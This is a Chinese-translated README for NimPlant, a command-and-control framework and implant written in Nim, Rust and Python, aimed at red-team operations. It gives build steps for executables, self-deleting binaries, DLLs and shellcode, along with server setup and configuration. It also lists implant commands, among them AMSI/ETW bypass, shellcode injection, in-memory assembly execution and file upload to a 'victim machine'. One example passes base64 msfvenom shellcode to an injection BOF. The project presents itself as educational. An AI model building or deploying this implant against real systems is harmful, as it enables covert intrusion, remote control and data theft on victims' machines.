作者 Cas van Cooten (@chvancooten),特别感谢以下出色的人:
Kadir Yamamoto (@yamakadi),Furkan Göksel (@frkngksl),Fabian Mosch (@S3cur3Th1sSh1t),Rafael Félix (@b1scoito),Guillaume Caillé (@OffenseTeacher),以及许多其他人!
如果NimPlant对您有用,并且/或者您总体上喜欢我的工作,非常欢迎您的支持:
inline-execute、shinject(使用动态调用)、自定义运行空间中的powershell或线程内execute-assembly轻松部署更高级的功能或有效载荷运行Nimplant需要现代版本的Python3。
requirements.txt(pip3 install -r server/requirements.txt)。choosenim安装,因为apt并不总是提供最新版本)。cd client; nimble install -d)。mingw工具链(brew install mingw-w64或apt install mingw-w64)。rustup安装)。rustup target add x86_64-pc-windows-gnu。Cargo.toml修改您的~/.cargo/config.toml文件,并使用nightly构建链(rustup default nightly)。**注意:**即使在Windows上编译,也建议使用
x86_64-pc-windows-gnu目标。它生成的二进制文件稍大,但从生成的DLL生成shellcode时似乎更稳定。您可以修改rust-toolchain.toml将目标更改为x86_64-pc-windows-msvc,但生成的shellcode可能并非在所有情况下都能正常工作。
在使用NimPlant之前,请创建配置文件config.toml。建议复制config.toml.example并在此基础上工作。
设置概览如下。
配置满意后,您可以生成NimPlant二进制文件以部署到目标。目前,NimPlant支持.exe、.dll和.bin二进制文件,分别对应(自删除)可执行文件、库和位置无关的shellcode(通过sRDI)。要生成,运行python nimplant.py compile,然后指定首选的二进制文件类型(exe、exe-selfdelete、dll、raw或all),以及可选地植入体类型(nim、rust、nim-debug或rust-debug——默认编译Nim)。文件将分别写入client/bin/或client-rs/bin/。
您可以传递rotatekey参数以在编译期间生成并使用新的XOR密钥。
注意:
NimPlant目前仅支持x64!
DLL文件的入口点是Update,它由DllMain在所有入口点上触发。这意味着您可以使用例如rundll32 .\NimPlant.dll,Update来触发,或者使用您选择的LOLBIN来侧加载它(可能需要在client/NimPlant.nim或client-rs/src/lib.rs中进行一些修改)```
PS C:\NimPlant> python .\nimplant.py compile all
* *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
| \ | () __ ___ | _ | | __ _ _ __ | |_
| | | | '_ _ \| |_) | |/ _ | '_ | __|
| |\ | | | | | | | __/| | (| | | | | |
|| _||| || ||| ||_,|| ||_|
A light-weight stage 1 implant and C2 based on Nim|Rust and Python
By Cas van Cooten (@chvancooten)
Compiling .exe for NimPlant Compiling self-deleting .exe for NimPlant Compiling .dll for NimPlant Compiling .bin for NimPlant
Done compiling! You can find compiled binaries in 'client/bin/'.
### 使用 Docker 编译
使用 Docker 很简单,并且可以避免依赖问题,因为容器中预装了所有所需的构建时和运行时依赖项。
要使用 Docker,您可以使用 [Docker Hub](https://hub.docker.com/r/chvancooten/nimplant) 上的公共 `chvancooten/nimplant` 容器(通过 CI/CD 构建),或者从源代码构建 `Dockerfile`.
> 要从源代码构建,请在主目录中运行以下命令:
>
> ```bash
> docker build . -t nimplant
> ```
这将构建一个标记为 `nimplant:latest` 的容器。注意:由于开发依赖,这可能需要一些时间并产生一个相当大的容器!
完成后,您可以从命令行运行容器来编译您的工件。```bash
docker run --rm -it -v ${PWD}:/nimplant chvancooten/nimplant:latest compile exe rust
注意:这是一个示例命令,请确保根据您的情况调整参数,例如挂载的卷。
一旦您准备好了二进制文件,就可以启动您的NimPlant服务器了!如果您是本地编译的,则无需额外配置,因为它会从同一个config.toml文件中读取。要启动服务器,只需运行python nimplant.py server(如果在Linux上运行,需要sudo权限)。一旦Nimplant签入,您可以使用控制台,或者访问Web界面http://localhost:31337(默认端口)。
注意:
如果您在编译二进制文件的机器之外运行NimPlant服务器,请确保config.toml和.xorkey都匹配。否则,NimPlant将无法连接。
Web前端或API不支持身份验证,因此切勿在没有安全反向代理的情况下将前端端口暴露给任何不受信任的网络!
如果NimPlant无法连接服务器或失去连接,它将重试5次,每次等待时间呈指数增长,然后再尝试重新注册。如果重新注册失败5次(使用相同的退避逻辑),它将自行终止。退避策略将每次失败后的休眠时间乘以3。例如,如果休眠时间为10秒,它将等待10秒、30秒(3^1 * 10)、90秒(3^2 * 10)、270秒(3^3 * 10),然后810秒后才放弃(这些参数是硬编码的,但可以在client/NimPlant.nim中更改)。
日志存储在server/logs目录中。每个服务器实例都会创建一个新的日志文件夹,日志按控制台/nimplant会话分开存储。下载和上传(包括通过Web GUI上传的文件)分别存储在server/uploads和server/downloads目录中。
Nimplant和服务器详情存储在server/nimplant.db的SQLite数据库中。这些数据也用于在服务器重启后恢复Nimplants。
可以通过运行nimplant.py并添加cleanup标志来清理日志、上传/下载的文件以及数据库。注意:这将清除所有内容,因此请确保先备份所需内容!```
PS C:\NimPlant> python .\nimplant.py server
* *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
[06/02/2023 10:47:23] Started management server on http://127.0.0.1:31337. [06/02/2023 10:47:23] Started NimPlant listener on https://0.0.0.0:443. CTRL-C to cancel waiting for NimPlants.
这将同时启动 C2 API 和管理 Web 服务器(在上面的示例中为 `http://127.0.0.1:31337`)以及 NimPlant 监听器(在上面的示例中为 `https://0.0.0.0:443`)。一旦 NimPlant 回连,你就可以同时使用 Web 界面和控制台向 NimPlant 发送命令。
### 使用 Docker 启动服务器
用于编译的同一个 `chvancooten/nimplant` 容器也可以用于运行 NimPlant 服务器。为了让 NimPlant 识别服务器,`config.toml` 和 `.xorkey` 文件需要与编译 NimPlant 的机器匹配(如果你使用同一个 Docker 容器进行编译,这自动正确)。此外,`config.toml` 文件需要针对 Docker 正确配置,特别是管理服务器 IP 必须设置为 `0.0.0.0` 才能通过 Docker 访问(确保只在主机的本地接口上暴露它)。
你可以使用以下示例命令启动 NimPlant 服务器:```bash
docker run --rm -it -p 80:80 -p 443:443 -p 127.0.0.1:31337:31337 -v ${PWD}:/nimplant -e "TZ=Europe/Amsterdam" chvancooten/nimplant:latest server
注意:这是一个示例命令,请确保根据你的情况调整参数,例如挂载的卷。
使用 Docker 可以轻松设置更复杂的配置。例如,docker-example 目录中包含一个 docker-compose.yml 文件,展示了如何将 NimPlant 暴露在 Nginx 重定向器之后,使用 HTTPS 和一个虚拟登录页面。
可用命令如下。你可以通过输入 help [command] 获取任何命令的详细帮助。某些标注了 (GUI) 的命令在使用 Web 界面时可以通过图形方式配置,这可以通过不带任何参数调用该命令来实现。```
Command arguments shown as [required] .
Commands with (GUI) can be run without parameters via the web UI.
cancel Cancel all pending tasks. cat [filename] Print a file's contents to the screen. cd [directory] Change the working directory. clear Clear the screen. cp [source] [destination] Copy a file or directory. curl [url] Get a webpage remotely and return the results. download [remotefilepath] Download a file from NimPlant's disk to the NimPlant server. env Get environment variables. execute-assembly (GUI) <BYPASSAMSI=0> <BLOCKETW=0> [localfilepath] Execute .NET assembly from memory. AMSI/ETW patched by default. Loads the CLR. exit Exit the server, killing all NimPlants. getAv List Antivirus / EDR products on target using WMI. getDom Get the domain the target is joined to. getLocalAdm List local administrators on the target using WMI. getpid Show process ID of the currently selected NimPlant. getprocname Show process name of the currently selected NimPlant. help Show this help menu or command-specific help. hostname Show hostname of the currently selected NimPlant. inline-execute (GUI) [localfilepath] [entrypoint] Execute Beacon Object Files (BOF) from memory. ipconfig List IP address information of the currently selected NimPlant. kill Kill the currently selected NimPlant. list Show list of active NimPlants. listall Show list of all NimPlants. ls List files and folders in a certain directory. Lists current directory by default. mkdir [directory] Create a directory (and its parent directories if required). mv [source] [destination] Move a file or directory. nimplant Show info about the currently selected NimPlant. osbuild Show operating system build information for the currently selected NimPlant. powershell <BYPASSAMSI=0> <BLOCKETW=0> [command] Execute a PowerShell command in an unmanaged runspace. Loads the CLR. ps List running processes on the target. Indicates current process. pwd Get the current working directory. reg [query|add] [path] Query or modify the registry. New values will be added as REG_SZ. rm [file] Remove a file or directory. run [binary] Run a binary from disk. Returns output but blocks NimPlant while running. screenshot Take a screenshot of the user's screen. select [id] Select another NimPlant. shell [command] Execute a shell command. shinject (GUI) [targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified process's memory space using dynamic invocation. sleep [sleeptime] <jitter%> Change the sleep time of the current NimPlant. upload (GUI) [localfilepath] Upload a file from the NimPlant server to the victim machine. wget [url] Download a file to disk remotely. whoami Get the user ID that NimPlant is running as.
#### 使用 Beacon Object 文件 (BOF)
**注意:BOF 本质上是易失的,运行有缺陷的 BOF 或传递错误的参数或类型可能会导致 NimPlant 会话崩溃!在部署前务必测试 BOF!**
NimPlant 支持通过出色的 [NiCOFF](https://github.com/frkngksl/NiCOFF) (Nim) 和 [Coffee](https://github.com/hakaioffsec/coffee) (Rust) 项目在内存中加载 BOF。运行 BOF 需要一个本地编译的 BOF 对象文件(通常命名为类似 `bofname.x64.o` 的文件)、一个入口点(通常是 `go`)以及一个参数列表及其各自的参数类型。参数以空格分隔的 `arg argtype` 对形式传递。
参数根据 "Zzsib" 格式给出,因此可以是 `string`(别名 `z`)、`wstring`(或`Z`)、`integer`(别名 `int` 或 `i`)、`short`(`s`)或 `binary`(`bin` 或 `b`)。二进制参数可以是原始二进制字符串或 base64 编码,建议使用后者以避免错误字符。
以下给出一些使用示例(以出色的 TrustedSec BOF [[1](https://github.com/trustedsec/CS-Situational-Awareness-BOF), [2](https://github.com/trustedsec/CS-Remote-OPs-BOF)] 为例)。注意,`inline-execute`(不带参数)可用于在 GUI 中以图形方式配置命令。```bash
# Run a bof without arguments
inline-execute ipconfig.x64.o go
# Run the `dir` bof with one wide-string argument specifying the path to list, quoting optional
inline-execute dir.x64.o go "C:\Users\victimuser\desktop" Z
# Run an injection BOF specifying an integer for the process ID and base64-encoded shellcode as bytes
# Example shellcode generated with the command: msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f base64
inline-execute /linux/path/to/createremotethread.x64.o go 1337 i /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA b
# Depending on the BOF, sometimes argument parsing is a bit different using NiCOFF
# Make sure arguments are passed as expected by the BOF (can usually be retrieved from .CNA or BOF source)
# An example:
inline-execute enum_filter_driver.x64.o go # CRASHES - default null handling does not work
inline-execute enum_filter_driver.x64.o go "" z # OK - arguments are passed as expected
默认情况下,NimPlant通过定义在server/util/notify.py中的notify_user()钩子支持推送通知。默认情况下,它实现了一个简单的Telegram通知,需要设置TELEGRAM_CHAT_ID和TELEGRAM_BOT_TOKEN环境变量才能触发。当然,代码可以轻松扩展,添加自定义的推送通知功能。当新的NimPlant签入时,会调用notify_user()钩子,并接收一个包含NimPlant详细信息的对象,然后可以按需推送。
作为普通用户,您通常无需修改或重新构建NimPlant自带的UI。但如果您希望进行更改,请安装NodeJS并在ui目录中运行npm install。然后运行ui/build-ui.py。这将负责拉取包、编译Next.JS前端,并将文件放置在正确位置,供NimPlant服务器使用。
NimPlant是作为一个学习项目开发的,并出于透明和教育目的公开发布。开箱即用的植入程序不以规避杀毒软件或EDR为目标。在很大程度上,NimPlant并不试图隐藏其意图。此外,已设置了保护措施以防止滥用。换句话说,在未进行彻底的源代码审查和修改之前,请勿在生产环境中按原样使用NimPlant!还要记住,与任何C2框架一样,部署前应考虑执行某些命令的OPSEC指纹。通过将config.toml中的riskyMode设置为false,可以编译不包含OPSEC高风险命令的NimPlant。
NimPlant可能因多种原因编译或运行失败。如果遇到问题,请按顺序尝试以下步骤:
server/logs目录中的日志是否有错误nim-debug或rust-debug编译模式,编译时启用控制台和调试消息(仅.exe),查看是否返回错误消息| 类别 | 设置项 | 描述 |
|---|
| server | ip | C2 Web服务器(包括API)将监听的IP。建议使用127.0.0.1,仅在您已设置适当的防火墙或路由规则以保护C2时使用0.0.0.0。 |
| server | port | C2 Web服务器(包括API)将监听的端口。 |
| listener | type | 监听器类型,HTTP或HTTPS。HTTPS选项在下方配置。 |
| listener | sslCertPath | HTTPS证书文件的本地路径(例如通过LetsEncrypt CertBot请求或自签名)。当监听器类型为'HTTP'时忽略。 |
| listener | sslKeyPath | 对应HTTPS证书私钥文件的本地路径。如果设置了密码,运行NimPlant服务器时将提示输入密码。当监听器类型为'HTTP'时忽略。 |
| listener | hostname | 监听器主机名。如果不为空(""),NimPlant将使用此主机名进行连接。请确保从该主机到NimPlant监听器端口的流量路由正确。 |
| listener | ip | 监听器IP。即使设置了'hostname'也需要,因为服务器使用此IP进行注册。 |
| listener | port | 监听器端口。即使设置了'hostname'也需要,因为服务器使用此端口进行注册。 |
| listener | registerPath | 新NimPlant用于注册的URI路径。 |
| listener | taskPath | NimPlant获取任务的URI路径。 |
| listener | resultPath | NimPlant提交结果的URI路径。 |
| nimplant | riskyMode | 编译支持危险命令的NimPlant。操作者自行决定。禁用将移除对execute-assembly、powershell、shell和shinject的支持。 |
| nimplant | sleepMask | 是否对Nimplant使用Ekko睡眠掩码替代常规睡眠调用。目前仅适用于常规可执行文件! |
| nimplant | sleepTime | 新Nimplant的默认睡眠时间(秒)。 |
| nimplant | sleepJitter | 新Nimplant的默认抖动百分比。 |
| nimplant | killDate | Nimplant的失效日期(格式:yyyy-MM-dd)。如果超过此日期,Nimplant将退出。 |
| nimplant | userAgent | Nimplant使用的用户代理。服务器也使用它来验证Nimplant流量,因此建议选择一个不太显眼但也不过于常见的用户代理。 |
| \ | () __ ___ | _ | | __ _ _ __ | |_
| | | | '_ _ \| |_) | |/ _ | '_ | __|
| |\ | | | | | | | __/| | (| | | | | |
|| _||| || ||| ||_,|| ||_|
A light-weight stage 1 implant and C2 written in Nim|Rust and Python
By Cas van Cooten (@chvancooten)